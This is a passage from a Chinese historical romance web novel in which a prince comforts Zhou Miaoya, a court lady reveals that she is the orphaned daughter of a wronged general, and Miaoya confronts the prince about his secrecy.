呼吸很快又沉了下去。 朱弘毅整个人蓦地僵住了。 他保持着原本的坐姿,背脊挺得笔直,连呼吸都放得极轻, 生怕搅扰了少女的香甜的美梦。 车帘外传来长安低低的询问:“王爷,前头快到永定门外了, 可要…” 他话没说完,朱弘毅已抬指挑起帘角, 借着街灯,无声比出口型: “绕远路。” 长安愣了愣, 随即会意,轻轻吁了一声,手中缰绳一偏。 马车在下一个路口转向, 驶入了另一条僻静的长巷,这条巷子绕城半周,回王府要多走小半个时辰。 车厢里静极了,只听得见车轮碾过石板路的轻响,和周妙雅均匀绵长的呼吸声。 少女睡得很沉,大约是今日走了山路,又见了很多故人,心神耗得厉害。 朱弘毅垂眸看她,看了很久,目光从她眉心移到鼻尖,又落到唇畔。 她那里软软糯糯,甜甜的,只给他一个人亲过。 马车又转过一个弯,巷子尽头传来更夫敲梆子的声音,戌时正点。 周妙雅在梆子声里动了动,似乎要醒。 朱弘毅下意识屏住呼吸,可她只是将脸又往他肩窝里埋了埋,含糊呢喃了一句,听不清,复又沉沉睡去。 前方已可望见宁王府门前高悬的灯笼,长安稳稳勒住马车,低声回禀:“王爷,到了。” 车内,周妙雅仍沉沉睡着。 她倚着朱弘毅的肩,呼吸匀长,脸颊因熟睡而泛着淡淡的粉。 外头细微的动静并未惊扰到她,她甚至无意识地又往他颈窝贴了贴,像只寻暖的猫儿。 朱弘毅垂眸看了她片刻。 然后,他极轻极缓地动了动早已僵麻的左臂,取过那件她早间未接的月白云纹披风,轻轻抖开,仔细地将她裹住。 他动作放得极柔,连系带都未收紧,只虚虚拢着,生怕惊醒了她。 做完这些,他才小心地托住她的后背和膝弯,将她整个人稳稳抱了起来。 怀里的人儿很轻。 朱弘毅走得不快,步子却极稳。 夜风拂面,怀里的人儿似有所感,在他臂弯里不安地动了动,将整张脸都埋进了他的胸前。 穿过月洞门,走过回廊,暖阁灯火在望。 忽然… 怀里的人儿轻轻唔了一声,睫毛微微颤了颤。 朱弘毅低头看去,正对上她初醒迷蒙的双眼。 那双眸子还笼着一层薄薄的水雾,茫然地眨了眨,仿佛不知身在何处。 周妙雅瞬间僵住,睡意霎时全消,脸颊腾地烧得通红。 她几乎是慌乱地想要挣开,却惊觉一只手不知何时已环上了他脖颈。 熟睡中本能的依傍,此刻成了最羞人的证据。 她声音都颤了,不敢看他:“王…王爷…我…我自己能走…” 朱弘毅没松手。 他依旧抱着她,脚步甚至没停,只是低头看了她一眼,眼底含了极浅的笑:“无妨,就快到了。” 守夜的丫鬟白芷听见动静,忙从暖阁里掀开帘子迎了出来。 昏黄的光晕下,她见王爷抱着自家小姐,正一步步走进院子。 白芷怔了一瞬,忙垂首侧身,连呼吸都屏住了。 朱弘毅抱着周妙雅,径自走过她身侧,踏入暖阁内室。 他俯身将她轻轻安放在临窗的暖榻上,那榻上铺着厚厚的绒毯,她瞬间陷进一片温软之中,只觉好生舒服。 周妙雅耳尖仍烧得通红,朱弘毅的目光在那抹霞色上停了一瞬,低声道:“今日走了山路,别再劳神,好好歇着。” 说罢,他转身看向还立在门边的白芷,嘱咐道:“好生照料。” 白芷忙福身应下。 朱弘毅没再多言,只最后望了榻上人一眼,便转身离去。 直到脚步声渐远。 白芷这才敢直起身,快步走到榻边,小心翼翼地唤了一声:“小姐…” 周妙雅靠在榻上,耳边的潮/红仍未褪尽,她抬手去解披风的系带,朝白芷轻轻摇了摇头:“无事,我只是…不小心睡着了。” 白芷接过披风,欲言又止,但终究没敢多问,只转身将披风仔细挂好。 周妙雅倚在榻上,阖上双眼,眼前却浮现着方才他抱她进来的那一幕。 她把脸悄悄埋进软枕里… 太丢人了。 可心底又泛起一点小小的,隐秘的甜,像偷吃了蜜糖的孩子,明知不该,却忍不住回味那一点甜意。 ———— 夜已深了。 白芷吹熄了桌上的灯,只留床头小几上一盏烛台。 她褪了外衫,轻手轻脚钻进 被窝,挨着周妙雅躺下。 被褥白日里晒过,仍带着阳光暖融融的味道。 她侧身往里,却见周妙雅还醒着,手中捏着一物,正就烛光细细端详着。 昏黄灯影里,那物泛着细碎的金光,随小姐的指间轻轻转动着,一闪,又一闪。 白芷往她身边凑了凑,定睛一瞧,原是一支花丝金簪,簪首掐成宫灯的样式,灯穗以金丝盘绕,坠着南海珍珠,在灯光下熠熠生辉。 白芷看着她,轻声开口:“小姐,这簪子…是王爷送的吧?” 周妙雅将簪子收回掌心,握紧了,才轻轻嗯了一声:“上元灯节那日送的。” 白芷又凑近了些许,借着烛光仔细瞧着,感叹道:“真好看,这花丝缠得真细,珍珠也亮,王爷待小姐真是极好的。” 她是真心为小姐高兴。 从文家那暗无天日的牢笼,到宁王府温暖的暖阁,从日日夜夜担惊受怕,到有人以金簪相赠,抱她回房,轻声嘱她安歇。 这分明是再好不过的事。 可周妙雅却沉默不语。 她只是低垂眼帘,凝视着掌心里那支金簪。 良久,她忽然开口,声音低得几乎听不见: “连文毓瑾,也只肯纳我为妾…” 白芷突然怔住。 周妙雅仍垂眸看那金簪,声音很轻:“我这样的孤女,无父无母,无依无靠,连文毓瑾都嫌我出身太低,只配做妾…” 她语声微顿,指尖轻轻摩挲着簪头的宫灯: “宁王妃…那样高不可攀的位置,我又何德何能?” 她话音落下,屋里静了一瞬。 白芷猛地攥紧了被角。 她盯着周妙雅的侧脸,声音因急切而微微发颤:“小姐!您怎么能…怎么能拿王爷与文毓瑾那种人相比?” 这话说得又快又急,连她自己都被惊到了。 周妙雅转过头看向她,烛光在眼底轻轻晃动着。 白芷深吸一口气,努力让声音稳了下来:“王爷是霁月清风,如皎皎朗月般的君子,文毓瑾是什么?是人渣,是败类,是连心都烂透了的污秽!” 她很少这样说话,在文家时,她习惯了低头,习惯了噤声,习惯了把所有的愤怒和委屈都咽进肚子里。 白芷哽咽着,继续说道:“文毓瑾要纳您为妾,那是羞辱,是折辱!他把您锁在听雨轩,逼您低头,在老太太灵堂上逼您做妾,那般龌龊…他哪一点配得上您?” 她倾身紧紧握住周妙雅的手,金簪隔在两人掌心,冰凉,坚硬。 她凝着周妙雅的双眸,语气坚定:“可王爷不一样,王爷救您,护您,为您请封女官,当众正名,他看您的眼神,奴婢便是再愚钝,也能辨得出。” 话到此处,她顿了顿,声音低了下去,却更用力:“王爷看您的眼神里,从来就没有妾这个字。” 周妙雅看着她急得泛红的眼眶,唇角轻轻弯了弯。 那笑容极淡,夹着无奈,怜惜,还有几分说不清道不明的涩意。 她未再接话,只是抬手,用指尖轻轻拭去白芷眼角的湿意。 而后,她重新握住白芷的手,声音很轻:“白芷,如果有一天…我不在你身边了,你一定要好好照顾自己。” 白芷的眉头紧紧蹙了起来,声音发紧:“小姐,您究竟在说什么胡话?您能去哪儿?王爷他…” “夜已深了。” 周妙雅轻声打断她,收回手,将金簪重新握回自己掌心:“快睡吧。” 言罢,她便转过身,背对着白芷睡下了。 白芷怔怔地望着她的背影,心中惶意未散,又低低轻唤:“小姐…” 可周妙雅没应。 白芷又凝视着她看了许久,可周妙雅只是静静地躺着,呼吸匀长,仿佛早已沉入梦里。 小姐方才那些话…究竟是何意? 她不敢深想,却又忍不住去想。 ———— 次日清晨,天刚蒙蒙亮。 周妙雅起身时,白芷还在睡。她轻手轻脚地下了床,自己打了水梳洗。 对着铜镜绾发时,她的目光在那支花丝金簪上停了停,最终还是选了支寻常的素银簪子。 穿戴整齐,她推开房门。 秋晨的寒气扑面而来,她方欲往小厨房去用早膳,却见月洞门外,青黛提着裙子急匆匆地跑了进来。 “姑娘!” 青黛气喘吁吁,手中攥着一个素白的信封:“皇后娘娘跟前的如意姐姐…天未亮就亲自来了!” 周妙雅脚步顿住。 她接过信封,指尖挑开封口,抽出一张素白笺纸。 娟秀的小楷,字迹端正清晰: 孙女官已寻得。 今日未时,奉国寺后山枫林。 只短短数语,上面盖着皇后娘娘的凤印。 孙女官已寻得… 这六个字,她已等了太久。 三日之约,如今听来竟恍如隔世。 第79章 未时将至, 周妙雅独自踏上奉国寺后山的枫林。 她未携一人,只嘱青黛守在山门之外。 朱弘毅今晨便被皇兄召进宫陪弈去了。 他这位皇兄,棋瘾大, 棋品又难言, 每每揪着他进宫, 不厮杀到尽兴,绝对不会轻易放人。 况且通常还要留他在宫中用膳,往往一去便是大半日,回府时常已是夜幕四合。 所以,周妙雅只字未提奉国寺之约。 他临出门前,她只低头替他理好衣襟,轻声说了句:“殿下安心去便是, 早些归家。” 他深深望了她良久,唇角仍带着笑, 终抬手, 极宠溺地刮过她翘挺挺的小鼻尖,低低应了一声:“好。” 午后的日色斜斜照入枫林。 值此正是深秋时节,枫叶红得正烈, 铺天盖地,层林尽染。 此情此景正应了杜牧那句诗中所绘:停车坐爱枫林晚, 霜叶红于二月花。 景是极美的,只是这地方寻常百姓平日里难以踏足, 此刻便显得格外空寂。 这里除了风声叶响,便只有她自己踏在落叶上的沙沙声。 周妙雅把身上的四时花披风拢紧, 沿着蜿蜒的小径,朝枫林深处走去。 枫林深处,一弯溪水抱石而出, 溪畔有一孤亭独立。 亭中已有一人。 那人背对着小径,身形清癯,一顶帷帽垂纱及膝,将整个人笼得严严实实。 周妙雅脚步略顿了顿,深吸了一口气,方才缓步走近。 她在亭外石阶前停下,敛衽深深一福:“敢问阁下…便是孙女官么?” 亭中人未语,只任风声与溪声在沉默中交织片刻。 忽然,一只枯瘦的手从帷帽下伸了出来,那只手瘦得可见青脉,指节却棱角分明。 她掌心向上,托着一物。 是一枚象牙浮雕的腰牌。 周妙雅心口骤紧,她趋前两步,双手接过那枚腰牌。 腰牌入手微沉,触感冰凉。 她低下头,指尖拂过牌面。 上面没有繁复的花纹,没有冗长的职衔。 只有一个字。 一个以隽秀而苍劲的笔力,深深镌刻的小篆: “周”。 周妙雅呼吸倏然停滞。 这字…这笔锋! 她猛地抬手,自贴身之处取出文老太太临终前塞给她的那枚玉佩。 因贴着心口,那玉佩上尚还带着她的体温。 她将玉佩与腰牌并排贴于掌心,指尖颤动,目光死死盯在那两处刻字上。 任她如何反复比对,只得一个结论: 两枚字迹,一模一样。 周妙雅猛地抬头,望向那帷帽垂纱之后模糊的身影,声音里已压不住惊意与急迫:“这…究竟是何意?” 帷帽的垂纱,被那只枯瘦的手缓缓掀开,露出一张削瘦而清癯的面庞。 周妙雅定睛看去,在看清楚那张脸的容貌时,呼吸彻底滞住了。 这张脸…与记忆中那位侍立在文老太太身侧,悄悄给她塞糕饼,抱着她无声落泪的孙嬷嬷,竟有七分相似。 不止是相似,眉眼间的沉静,唇角抿起的弧度,几乎是一个模子里刻出来的。 是亲姐妹,她绝不会认错。 孙女官任她打量着,眸色平静无波。 那双眼睛与孙嬷嬷如出一辙,却没有孙嬷嬷眼中对她的那份慈怜,只有如深潭般经年积下来的冷静。 她看着周妙雅惊疑不定的神情,缓缓开口:“姑娘可曾听闻,辽东流传着一个传说…” 她顿了顿,字字清晰而缓慢,似在掂量着千斤重量: “周家军。” 周妙雅怔怔地望着她,下意识地摇了摇头。 她自幼长在江南文家,听的是诗书礼乐,即使祖父偶尔论及朝局,也鲜少提及边关风雪。 孙女官对她的茫然并不意外,只微微颔首,声线沉冷如旧: “周大将军周承山,与他麾下那支周家军,便是北狄人心中,最怕的活阎王。” “周家军铁蹄所至,北狄小儿不敢夜啼。” 话音落处,她目光落在那枚被周妙雅紧紧攥着的腰牌上,眼底闪过一瞬波澜,快得几乎捉不住。 随即,她抬眸,目光重新看向周妙雅,声音依旧平静:“周承山,便是这玉佩与腰牌的主人。” 她停顿了一息,看着周妙雅骤然睁大的眼睛,一字一顿,声音清晰无比: “也就是,你的父亲。” 周妙雅怔在原地。 父亲这两个字,对她来说,太沉重,也太陌生了。 沉得像她童年那方挪不动的石砚,生得像是戏文里才会出现的称呼。 她脑海中一片空寂,只余风声掠叶,沙沙作响。 父亲? 她真的有过父亲吗? 记忆里从来没有过这样的身影… 她自幼被养在文老太爷与文老太太膝下,父亲二字仿若被刻意缄封的禁忌,阖府上下无人提及,她也从不敢问。 她见过仇方先生握着珍姐儿的手,一笔一画地教她描摹花鸟鱼虫,珍姐儿嘟着嘴说画得不好,仇先生却朗声大笑道:“我闺女画什么都是好的。” 那时,她只敢远远站在回廊下看着,手里攥着一幅刚画好的兰草图,指尖几乎要把纸掐破。 她也曾偷偷想过,自己的父亲会是什么样子? 是像文老太爷那般清矍严厉,还是像仇先生那般风趣儒雅? 她想得最深的时候,也不过是抱着膝盖坐在台阶上,看天边的晚霞一点点暗下去,然后摇摇头,将那一点虚无缥缈的念想摇散。 她从来没有过父亲。 那本该是人生这短短数十载中,与她血脉最相近的人,却在她生命中缺席得干干净净,连一分一毫的痕迹都没有留下过。 而如今,却有人用这样平静到近乎冷酷的声音告诉她,你的父亲叫周承山,是让北狄人闻风丧胆的活阎王。 那些她从未听过的边关风雪,从未听闻的周家军铁血威名,此刻如万骑奔腾,突然劈开了她前半生的迷雾,直直地砸进了她的人生。 这不是梦。 酸涩猛地撞向鼻尖,眼眶骤然发烫,可她死死咬着唇,不肯让那点湿意坠下。 喉头堵得发疼,她张张合合,几度启唇,才挤出一点沙哑而破碎的声线: “那他…现在何处?” 孙女官望见她眼底骤然亮起又强忍的泪光,轻轻摇了摇头,叹息道: “死了,周家满门忠烈,皆殁于黑水河之役。” 她顿了顿,目光似穿过眼前火红的枫林,落在了极北的风雪深处。 “北狄人使了反间计,一道通敌的伪证,几封模仿笔迹的书信,就送到了当时的兵部,又呈到了御前。” 孙女官声线平稳,无悲无喜,仿佛只是在讲述一件尘封的旧事: “先帝起了疑,朝廷的援兵迟迟未发,粮草也断了,周家军被围困在黑水城,内无粮草,外无援军,被北狄人围了整整三个月。” “你母亲谢氏,当时刚生下你不久,身子还未养好,听到此消息,她召集了府上所有老弱残兵,带上府中所有女眷,披甲上阵,驰援黑水城。” 她抬首,看向周妙雅苍白的脸: “周家军忠烈,皆战至最后一刻,力竭而亡。周氏儿郎,无一人降,尽殁于阵。周家女眷,无一人退,俱殁沙场,尸骨无存。” 听到这里,周妙雅再撑不住了。 泪水像决了堤的洪流,夺眶而出。 她死死咬着下唇,不让自己发出一点声音,可眼泪却怎么也止不住,滚烫的泪滑过冰冷的脸颊,一滴,又一滴,砸在紧攥着玉佩和腰牌的手背上。 怎么会这样? 孙女官望着她泪如雨下的模样,冰冷的心终于泛起了一丝涟漪。 她移开目光,望向远处,声音极轻:“你本也是…活不下来的。” 说到这里,她话音顿了顿,半晌,复才缓缓道:“你母亲谢夫人,当时生下的,是一对龙凤胎。” 周妙雅猛地抬头,泪雾朦胧,死死盯着她。 孙女官的声音依旧平静无波:“朝廷不知道是龙凤胎,他们只知道周家添了个男婴。先帝下旨抄家,锦衣卫来拿人,要带走周家所有血脉,府中仅存的几名老仆…便把那个男婴交了出去。” 话音至此,戛然而止。 孙女官沉默了很久,枫林中静的可怕,只余风声穿过,如泣如诉。 良久,她才低声续道:“他们在交出你哥哥之前,悄悄把你从后花园一处隐秘的狗洞送了出去,随后便将洞口糊死,锦衣卫没有发现。之后,那些老仆便自尽了…” 周妙雅只觉寒意透骨,泪如雨下,却仍怔怔地睁大眼,仔细地听着。 孙女官抬眼复又看向她,眸色深沉:“彼时我刚嫁不久,夫家与周府是世交,宅院仅隔一墙。那日…我听到锦衣卫的刀甲声,心中便觉不对,便暗自从后门潜出,想看看能否施以援手,结果却意外于荒草狗洞之外…拾到了你。” 她目光落在周妙雅掌中那枚温润的玉佩上,眼底闪过一瞬恍惚:“襁褓里,这块玉佩就挂在你颈间,还有一张极小的字条,上面墨迹歪斜,应是老仆慌乱中写的,只记着你的生辰,与周妙雅三个字。” 孙女官的声线终泛起一丝极淡的涩意:“你那时候,小小的,不哭也不闹,只是睁着一双乌黑的大眼睛看着我,那双眼睛好看极了,很像你母亲谢夫人。当时我就静静地看着你,但我心里知道,我得保住你,保住周家最后的骨血。” 然而话到这里,她语气骤然变冷:“可是那时,时任兵部尚书的康敏之,在前朝不断煽风点火,先帝已经铁了心要斩草除根,凡与周家沾亲带故者,皆被朝廷鹰犬暗中盯死,把你放在哪里,都不安全,就连我夫家,也未必稳妥。” 她深吸了一口气,仿若做了一个艰难的决定: “所以我思来想去,唯有一个法子可行,我得找一个跟周家,跟京城,跟所有是非,都毫无瓜葛的人。” “所以,我抱着你,一路南下,我决定去苏州,寻我姐姐。” 周妙雅呼吸一窒,孙嬷嬷… 孙女官声线低缓:“我姐姐她…其实并不知周家内情,她只知道我嫁在京城,与一些官宦人家有走动。我寻到她,只称你是我故交遗孤,那家遭了大难,仇家势大,这孩子必须隐姓埋名,远离京城,才能活命。她信了,她心软,见你小小一团,心疼得直掉眼泪。” “我姐姐思量了许久,同我说,她伺候的文家老太太,是天底下顶顶心善仁厚之人,文家老太爷,曾在朝为官,后来因党争心灰,辞官归隐。我姐姐当即便去求了文老太太,老太太闻之,又亲与文老太爷商议。” “文老太爷亲自来见我,他看着我怀里的襁褓,沉默良久,而后, 他对我说,周承山是条顶天立地,不畏强权的好汉,他的血脉,不该绝。” 孙女官的声音低下去,带着尘埃落定的倦意:“就这样,你被文家收养,成了文家的表小姐。文老太爷亲手改了你生辰,抹平所有痕迹。除文家老两口,我,我姐姐,再无人知晓。就连我姐姐,也只当你是蒙冤官员之后,并不知你就是周大将军的女儿。” “我将你安顿在文家后,便回了京。彼时宫内正缺资深女官,我早年曾侍奉内廷,便托了些旧关系,重新进了宫。一来,有个身份庇护,行事方便些,二来,宫里消息灵通。这些年来,我一直在暗中留意康敏之。” 她抬眼望向周妙雅,眼神中带着久居深宫的锐利:“我至今思之,当年周家冤案,康敏之虽在御前上蹿下跳、煽风点火,可恨至极,然背后,恐怕没那么简单。区区兵部尚书,即便想扳倒大将军,若无更强力的倚仗和更深的图谋,未必敢把事情做绝到那般地步。” 周妙雅的心一点点地沉了下去。 孙女官复又缓缓道:“这些年,我冷眼瞧他步步高升,瞧他在阉党与兴社之间左右逢源,瞧他愈发深陷于那些见不得光的朝堂暗涌之中,但我始终没看透,他背后站着的人,究竟是谁。” 然而话锋一转,她忽提文老太太:“那日你祖母进宫赴宴,确与我约在西苑相见。” 周妙雅倏然抬眼。 “我们见面时,一切如常,她精神尚健,只是眉间有忧色。我们谈了约莫一盏茶的功夫,说的都是旧事和你的近况,并无任何异常之处。” 孙女官微微蹙眉,似在回忆:“至于康敏之为何对她下手,我也不知确切缘由。许是他嗅得风声,疑文家与周家旧案有涉,欲斩草除根,又许是你祖母自西苑归席途中,无意间窥见什么不该看到的东西,或是听闻了什么不该听之语…” “康敏之行事,向来滴水不漏,心狠手辣,若真被他察觉到一丝一毫可能危及他或他背后之人的苗头,杀人灭口,对他而言,并不稀奇。” 风乍起,卷起数片红叶,在空中打着旋儿,摇摇晃晃地落到亭边的溪水中,悄无声息地流走了。 孙女官语声渐低,最后道:“我知道的,就是这些了,至于真相究竟如何,恐怕只有康敏之,或者你祖母在天之灵,才清楚了。”—— 作者有话说:周承山没有原型,他是捏了很多历史人物在一个人身上 第80章 宫门下钥的前一刻, 泰和帝才终于肯放人。 朱弘毅的这位皇兄,近年来愈发念旧,也愈发话多, 每每揪着弟弟进宫, 总要与他东拉西扯聊到很晚, 朝野琐屑,家长里短,翻来覆去唠叨上数遍,才舍得放人归府。 马车驶入王府大门时,夜色已浓。 朱弘毅下车后,步履不停,径直往暖阁走去。 他匆匆穿过月洞门, 却见暖阁窗棂漆黑一片,没有半点灯火透出。 见此情景, 他脚步霎时顿住, 心头莫名一紧。 “青黛。” 守在廊下的青黛闻声慌忙趋步近前,不等他发问便急急回禀,声音里带着哭腔, 还打着颤: “王爷,今早皇后娘娘身边的如意姑姑来递了信笺, 姑娘午后便去了奉国寺,独自一人去了后山的枫林, 也没让奴婢近前跟着,而后姑娘酉时就回府了, 可一回来就把自己关在房里,奴婢听见里头…一直在哭。后来姑娘出来了,却不理人, 径直就往瀚海楼那边去了,到现在都没出来…” 朱弘毅眼神倏然一沉,当即心下已然明了。 他未再多言一句,转身便朝瀚海楼方向疾步而去,衣袂带起夜风,步履又快又沉。 疾步穿过松竹林,他抬眼望去,见瀚海楼底层漆黑,唯有二楼临窗处透出一点昏黄的灯火。 他两步并作一步踏上楼梯。 楼上的门大敞四开,屋内烛光摇曳,映出满室狼藉… 几十本书散落在地,东倒西歪,书页凌乱地摊开,封面朝上那几册,赫然写着《辽东纪略》《北境兵备考》… 周妙雅就呆呆地站在这一地狼藉之中,身影单薄的好似一缕随时会消散的青烟,手里死死地扣着一本书。 朱弘毅的目光落在那本书的封皮上——《辽东舆图志》。 他心底最后一丝疑虑已然消散,如此这般,她已尽知自己的身世。 他悄无声息地走进去,跨过那些散落的书册,轻轻将她揽入怀中。 手臂收拢的刹那,他便觉她浑身开始剧烈的颤抖,压抑的呜咽从喉间逸出,转瞬化作撕心裂肺的痛哭。 她双手死死攥住他衣襟,仿佛那是滔天洪水中唯一能抓住的浮木。 眼泪汹涌不绝,瞬间浸透了他的前襟,滚烫的湿意隔着衣料灼在他心口。 他由着她哭。 他只是抱着她,下颌轻轻抵着她的发顶,在一声声破碎的抽噎间,沉默而温柔地抚着她颤抖的背。 不知过了多久,怀中的哭声渐渐低了下去,只余断断续续的抽噎,肩膀的颤动也缓了许多。 又过了许久,她才极缓、极慢地从他怀里抬起头。 眼睛红肿得厉害,脸上泪痕狼藉,她看向他,眼里全是破碎又无处安放的痛楚。 她的唇瓣轻轻颤抖着,嗓音沙哑得几乎听不清,筋疲力尽地轻唤了他一声:“二郎…” 朱弘毅满心满眼只剩疼惜,他抬手轻轻捧住她的脸颊,指尖极缓地拭过滚烫的泪,仿佛稍一用力便会碰碎了她。 她却轻轻摇了摇头,侧脸避开了他的指尖。 那只拂开他的手没什么力气,指尖还带着细微的颤。 周妙雅的目光从他脸上移开,涣散地落在脚下那片狼藉的书海上,她像是忽然想起了什么,缓缓蹲下身,手在冰冷的地面上不停地摸索着。 她的指尖一本一本地拂过地面上摊开的书页,最终停了在方才被她扔开的《辽东舆图志》上。 她猛地伸手,把它重新抓回怀里,紧紧按在胸口。 良久,她抬起泪眼看向朱弘毅,空洞的眼神中,渗出一丝近乎孩童般的不解与绝望。 她缓缓开口,问得极轻,像是用尽了所有的力气,声音颤得几乎听不见: “二郎,孙女官说…我爹爹是北狄人最怕的活阎王,大将军周承山。” “可为何…我翻遍了这瀚海楼里,所有跟辽东相关的书籍…” “都没有我爹爹的名字?” 阁楼里陷入了死一般寂静。 烛影摇晃,无声的静默在两人之间铺展开来… 朱弘毅沉默地看着她。 他该如何回答? 告诉她,是的? 黑水河一役后,先帝震怒,但他更惧天下人知他疑心功臣,自毁长城。 先帝一道密旨,周承山三个字便成了朝野禁忌… 所有战报,阵亡名录,功赏册籍,凡涉其名,皆被刀笔吏悄然抹去,仿佛世上从未有此一人,从未有过此军。 那些她翻遍典籍也找不到的痕迹,并非不存在,而是被刻意而彻底地,从正史中抹去了。 留下的,只有野史杂谈里的传说,以及某些人的心里,再也不敢宣之于口的记忆。 周妙雅见他久不言语,呼吸骤然变得急促起来,她猛地低下头,指尖颤抖着,在怀中胡乱翻找,终于掏出那枚刻着周字的玉佩,死死攥在手心。 她盯着玉佩上的那个周字看了很久,忽然,一些几乎被遗忘的片段,猛地撞进脑海中。 是她大病初愈,第一次在宁王府暖阁里醒来时,青黛一边喂她喝药,一边絮絮叨叨地说着闲话: “…姑娘可真是福大命大,听长安哥说,他们最开始在雪地里发现您的时候,你身上只剩中衣,因为身上都是伤, 渗的原本洁白的中衣上都是血,你被冻的浑身上下几乎没什么热气儿,大家伙儿都以为你已经死了,唯独王爷眼尖,他看到了你手里死死攥着一枚玉佩,任凭下人怎么掰你的手,都掰不开。” 周妙雅的呼吸骤然停住。 她握着玉佩的手,开始不受控制地剧烈颤抖。 原来那么早…那么早之前…他就… 她猛地抬起头,望向朱弘毅,那双红肿未褪的眼睛里,盈满了冰冷的惊悸与质疑。 她拼尽余力撑住摇摇欲坠的身子,深吸了一口气,胸口剧烈起伏着: “二郎…” “你是不是有事瞒着我?” 她猛地倾身逼近,目光死死锁住他的眼睛,一字一句地逼问: “你是不是…早就知道我是周承山的女儿?” 见他还是不语,她几近嘶喊出来: “你是不是…早就认出了这枚玉佩?” 夜风骤狂,穿窗而入,吹得烛火剧烈摇晃。 朱弘毅见状,立即俯身,双手稳稳抓住她的臂弯,欲将她从冰冷地面扶起:“妙雅,你先冷静,听我说…” “放开!” 周妙雅猛地挣开了他,身子踉跄后退了半步,背脊重重撞上了书架。 她顾不上疼,只是抬起眼,死死地盯着他,那双方才还盈满泪水的眸子,此刻却像结了一层冰,冷得骇人。 “你还有多少事…是瞒着我的?” 她声音不高,却字字清晰,带着一种被彻底背叛的寒意: “你当初救我…是因为这块玉佩,是因为我父亲,对吗?” 她向前逼近一步,仰着脸,似要剖开皮肉,看清底下那颗真心: “这些日子以来…你眼里的我,究竟是谁?” “是周妙雅…还是周承山的女儿?这个…你必须负起的责任?” “如果今日孙女官不说,你还准备…瞒我多久?” 面对她步步紧逼的质问,朱弘毅依旧没有回答。 他沉默了片刻,慢慢伸出手掌,手心向上,停在她面前。 声音低到近乎尘埃,他恳求她:“妙雅,求你…再给我一次相信我的机会,好吗?” 周妙雅盯着他伸出的手,复又抬眸,直直撞进他那双深邃而沉稳的眼中。 她别过头,嗓音虚浮,似已耗尽最后一丝力气:“你要我…如何还能再相信你?” 朱弘毅的手仍稳稳停在那里,指尖微微蜷起,又缓缓放平,他看着她的眼睛,温柔说道:“拉住我,我带你去一个地方,可好?” 周妙雅看了他一瞬,复又垂下眼。 她艰难地撑着冰冷的地面,方才那股支撑着她质问,嘶喊的气力已经泄尽,她心中空落落的,整个人好似被掏空了一般。 她如同没情绪的木偶一般,在地上僵了片刻,终于极慢,极缓地抬起手,指尖轻轻触碰到了他的掌心。 冰冷,颤抖。 朱弘毅立刻收拢手指,握住了她冰凉的手,力道虽不重,却温暖笃定,不容她抽离。 他本欲将她拉起,可周妙雅却身子一软,膝盖发颤,只因方才哭得太狠,又情绪大起大落,此刻竟是连站直的力气都没有了。 朱弘毅见状,毫不犹豫地屈膝在她身前蹲了下来,背对着她,声音温柔:“我背你,好吗?” 周妙雅望着那副宽阔的背脊,沉默了一瞬,终是认命般俯身,将双臂绕过他的脖颈,轻轻环住。 朱弘毅稳稳托住她的腿弯,站起身来。 他步履沉稳,一步一步踏下楼梯,穿过漆黑的一层,向瀚海楼深处走去。 那里有一道暗门隐藏在黑暗深处,几乎与墙面融为一体,极不起眼。 他单手托住她,另一只手在壁间按了一下,暗门悄然滑开,露出一段幽深的石阶,寒气扑面而来。 周妙雅伏在他背上,骤来的寒气激得她轻轻一颤,环在他颈侧的手臂骤然收紧,脸颊贴上他温热的颈脉,紧贴着他沉稳而有力的心跳。 石阶很长,越往下走,空气越凉,朱弘毅的脚步始终平稳,没有丝毫颠簸。 走到尽头,眼前骤然出现一道厚重的石门。 朱弘毅扳动机关,机括转动发出闷响,石门缓缓内启。 门内是一间宽敞的密室,石壁粗砺,无多余陈设。 几副铠甲靠墙而立,木架上横置着几柄长刀,墙角倚着几杆最先进的西式火铳。 朱弘毅将她置于石椅之上,他脱下外衫,轻轻覆上她微颤的肩,然后转身点亮壁灯。 昏黄的光晕逐渐铺开,周妙雅才见眼前赫然横着一口沉暗的木箱。 朱弘毅俯身,缓缓打开了箱盖。 箱子里没有金银珠宝,只有满满当当,一摞一摞的书卷册页。 周妙雅紧了紧身上的外衣,起身走近,在箱子边缓缓蹲下。 她伸出手,指尖拂过最上层的一本书册。 她轻轻地翻开,泛黄的纸张上,写满了密密麻麻的小楷。 乾曜二十三年,辽东海台卫,周家军轻骑突袭敌营,斩真虏七十一级,金钱辫系北狄正蓝旗,缴获铁甲七十六,棉甲一百三十,弓九十七,撒袋六十三,箭二千零九十… 领兵将领—— 周承山。《 》 80-90 第81章 周妙雅的双手抑制不住地颤抖着。 她又拿起旁边一卷奏报抄本, 细细读起。 那是一封弹劾辽东督师王诏延误军机的奏疏,附证里夹着一纸战报,寥寥数语记录了周家军浴血奋战, 伤亡惨重, 力保隘口不失。 她复又往下翻, 取出一册私撰未刊的《北疆纪事》,卷中详细记述了黑水河之战前,辽东发生的几次交锋,字里行间,满是对周将军用兵之能的赞叹。 木箱中还有残损的军功簿,私抄战要,甚至是标注着周家军旧日布防的手绘地图… 箱中所有书册, 全部都是关于周承山,关于周家军的记载… 周妙雅死死握住手中书册, 不可思议地抬头望向朱弘毅: “你为什么会有这些东西?” 朱弘毅没有立刻回答。 他静默了片刻, 然后走上前,缓缓俯身,蹲至与她视线平齐之处。 他的目光沉静地看着她, 而后缓缓伸出手,覆上了她轻颤的臂弯。 “妙雅。” 他轻声唤她, 声音低沉:“我承认。” 他顿了顿,看着她骤然紧缩的瞳孔, 一字一句: “我当初救你,确实是因为…你是周承山的女儿。” “我确实…认出了那枚玉佩。” 周妙雅的呼吸骤然停滞, 指尖深深掐入书册。 朱弘毅迎着她的目光,没有移开,继续说了下去: “因为周承山…是我这辈子, 最钦佩的人。” “是我想成为…却或许永远也成为不了的那种人。” 说到这里,他微微闭了下眼,再睁开时,眼底浮现出她从未见过的锐光: “身为朱氏子弟,我毕生所求,不过是有朝一日,立于辽东的白山黑水间,领兵拒虏,建功立业,像成祖爷一样,真真正正的保家卫国。” 他握着她手臂的力道,悄然收紧… 他望着她,眼神里没有闪躲,唯有歉疚与坦然:“妙雅,对不起,我隐瞒了你。” 密室里一片死寂,唯有烛火摇曳。 他的目光深深望进她眼里,眼底翻涌她分辨不清的复杂情绪,有痛楚,有怜惜,更有一种斩钉截铁的确认: “这些时日的朝夕相处,我发现,我爱的只是你这个人,不是因为你是谁的女儿。” “我爱的是你的才华,你的风骨,你的智慧,你的善良,你的坚韧和你全部的全部…” 